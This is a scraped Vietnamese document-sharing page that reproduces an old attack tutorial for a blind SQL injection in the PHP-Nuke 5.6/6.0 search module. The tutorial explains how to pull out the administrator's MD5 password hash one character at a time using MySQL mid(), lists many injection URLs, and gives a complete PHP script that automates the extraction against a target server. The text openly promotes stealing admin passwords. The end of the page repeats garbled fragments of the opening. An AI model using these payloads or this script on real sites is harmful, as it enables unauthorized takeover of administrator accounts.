lấy password của admin user trên phpnuke 6

4 265 0
lấy password của admin user trên phpnuke 6

Đang tải... (xem toàn văn)

Thông tin tài liệu

.Lấy password của Admin user trên PHPnuke 6.0 & 5.6 : trang này đã được đọc lần Product:PHP nuke Version:6.0 & 5.6 Problem:PHPNuke SQL Injection http://cgishield.com/ Ai cũng có thể lấy được password của Admin user trên PHPnuke 6.0 & 5.6 windows+linux method #1 PHPnuke là web portal có open-source đã được sữ dụng rộng rải,có một lổi được tìm thấy đó là điiêù khiiển từ xa qua SQL injection , với cái này nó cho phép lấy cắp password của administrator's password .Với mọt đống lộn xôn của pass, Attacker phải login và có thể vào được CP của admin cho viêc điều khiển hệ thống. Lỗi này tồn tại trong search enginebao gồm với PHPnuke (/modules/search/). Ở trong file này, CSDL được gọi để làm trích ngoài khoảng trống xung quanh user cung cấp biến. Từ khi database gọi việc chọn thông tin của user từ table,Hacker có thể sữ dụng 'select fish' để tấn công. Nội dung của việc tấn công là hacker xác định giá trị của ký tự đơn ở trong bất kỳ column trong table được chỉ định trong câu lệnh Hầu hết các column này là quan trọng để hacker lấy đựoc password của admin nhưng được mã hoá chủ yếu là MD5. Chỉ có 16 giá trị cho mổi ký tự và tổng cộng 32 ký tự . chọn " fishing" bao gồm việc sữ dụng hàm của MySQL là "mid()" kết quả trã về là true nếu ký tự đoán là đúng, bằng cách này ta có thể set results trên màn hình. Nếu kết quả xuất hiện trên màn hình, Attacker có thể xác định các ký tự đúng,và rồi tiếp tục tiến hành việc đoán ký tự tiếp thoe trong tiến trình.Bất kỳ md5 password cũng có ít nhất 512 (32*16) lần đoán.Khi bạn đoán bằng tay,mất chừng khoảng 20-30 minutes, nhưng khi nó là tự đông bằng chương trình thì mất khoảng vài phút .Chương trình ở cuối tài liệu này.Đây là url đầu tiên mà các hacker khai thác: http://site/modules.php? name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,1,1) =6&type=stories Khi phpnuke queries the mysql database, nó có dạng sau: "select s.sid, s.aid, s.informant, s.title, s.time, s.hometext, s.bodytext, a.url, s.comments, s.topic from nuke_stories s, nuke_authors a where s.aid=a.aid AND (s.title LIKE '%%' OR s.hometext LIKE '%%' OR s.bodytext LIKE '%%' OR s.notes LIKE '%%') AND TO_DAYS(NOW()) - TO_DAYS (time) <= 1 or mid(a.pwd,1,1)=6 ORDER BY s.time DESC LIMIT 0,10" Nó kiểm tra admin table để xem nếu ký tự đầu tiên trong trương pwd(password) column có giá trị là 6'.Nếu bất kỳ admin password bắt dầu với giá trị '6', câu chuyện này đươc viết bởi admin sẽ xuất hiện trên màn hình Nếu admin password không bắt đầu là '6' thì không có chuyện gì ở đây.màn hình sẽ không xuất hiện gì. example admin's hash: 6a204bd89f3c8348afd5c77c717a097a Urls gọi như sau: (*note* in version 6.0 a check for '()' in any GET variable was added on line 36 of mainfile.php , therefore the following data strings will only work via POST in version 6.0 or later. The exploit included at the end of this file works via POST.) http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=1&type=stories NO http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=2&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=3&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=4&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=5&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=6&type=stories Yes http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=7&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=8&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=9&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=0&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(97)&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(98)&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(99)&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(100)&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(101)&type=stories No http://site/modules.php?name=Search&query=&topic=&category=&author=&days=1+or+mid (a.pwd,1,1)=char(102)&type=stories No Ký tự tiếp theo url có dạng http://site/modules.php? name=search&query=&topic=&category=&author=&days=1+or+mid(a.pwd,2,1) =1&type=stories Đây là đoạn mã đoán tự động <?php ########## PHPnuke Auto-SelectFish Attacker ########## David_at_cgishield.com ##########Làm việc trên phpnuke 5.6 and 6.0 //Để sữ dụng chương trình này bạn phải save code này và up trên server của bạn hổ trợ PHP //Nếu PHP time out trước khi trứơc khi tất cã password hash xác định, // Điều chỉnh maximum script execution time in php.ini // Thay thế cho các biến sau cho đúng $server="www.phpnuke.org"; $script="/modules.php"; $data_to_match="Revolution"; $admin_account_name="nukelite"; $beginchar="1"; $endchar="33"; $admin_account_name=urlencode($admin_account_name); $data_to_match=urlencode($data_to_match); $checkchar[0]="char(48)"; $checkchar[1]="char(49)"; $checkchar[2]="char(50)"; $checkchar[3]="char(51)"; $checkchar[4]="char(52)"; $checkchar[5]="char(53)"; $checkchar[6]="char(54)"; $checkchar[7]="char(55)"; $checkchar[8]="char(56)"; $checkchar[9]="char(57)"; $checkchar[a]="char(97)"; $checkchar[b]="char(98)"; $checkchar[c]="char(99)"; $checkchar[d]="char(100)"; $checkchar[e]="char(101)"; $checkchar[f]="char(102)"; for($i=$beginchar;$i<$endchar;$i++){ reset($checkchar); while (list($i2, $i2val) = @each($checkchar)){ $vars="name=Search&query=$data_to_match&topic=&category=&author=$admin_acco unt_name&days=1000+and+mid(a.pwd,$i,1)=$checkchar[$i2]&type=stories"; $data=sendToHost("$server",'post',"$script","$vars"); if (eregi("No matches found to your query","$data")){ } else{ echo("<br>$i= $i2"); flush();break;} } } function sendToHost($host,$method,$path,$data,$useragent=1) { $method = strtoupper($method); $fp = fsockopen($host,80); fputs($fp, "$method $path HTTP/1.1\n"); fputs($fp, "Host: $host\n"); fputs($fp, "Content-type: application/x-www-form-urlencoded\n"); fputs($fp, "Content-length: " . strlen($data) . "\n"); if ($useragent) fputs($fp, "User-Agent: Mozilla\n"); fputs($fp, "Connection: close\n\n"); if ($method == 'POST') fputs($fp, $data); while (!feof($fp)) $buf .= fgets($fp,128); fclose($fp); for($slow=0;$slow<100;$slow++){} return $buf; } ?> Error! Unknown switch argument. . .Lấy password của Admin user trên PHPnuke 6. 0 & 5 .6 : trang này đã được đọc lần Product:PHP nuke Version :6. 0 & 5 .6 Problem :PHPNuke SQL Injection http://cgishield.com/ Ai. 5 .6 Problem :PHPNuke SQL Injection http://cgishield.com/ Ai cũng có thể lấy được password của Admin user trên PHPnuke 6. 0 & 5 .6 windows+linux method #1 PHPnuke là web portal có open-source đã được sữ dụng rộng. injection , với cái này nó cho phép lấy cắp password của administrator's password .Với mọt đống lộn xôn của pass, Attacker phải login và có thể vào được CP của admin cho viêc điều khiển hệ thống. Lỗi

Ngày đăng: 11/07/2014, 13:31

Tài liệu cùng người dùng

Tài liệu liên quan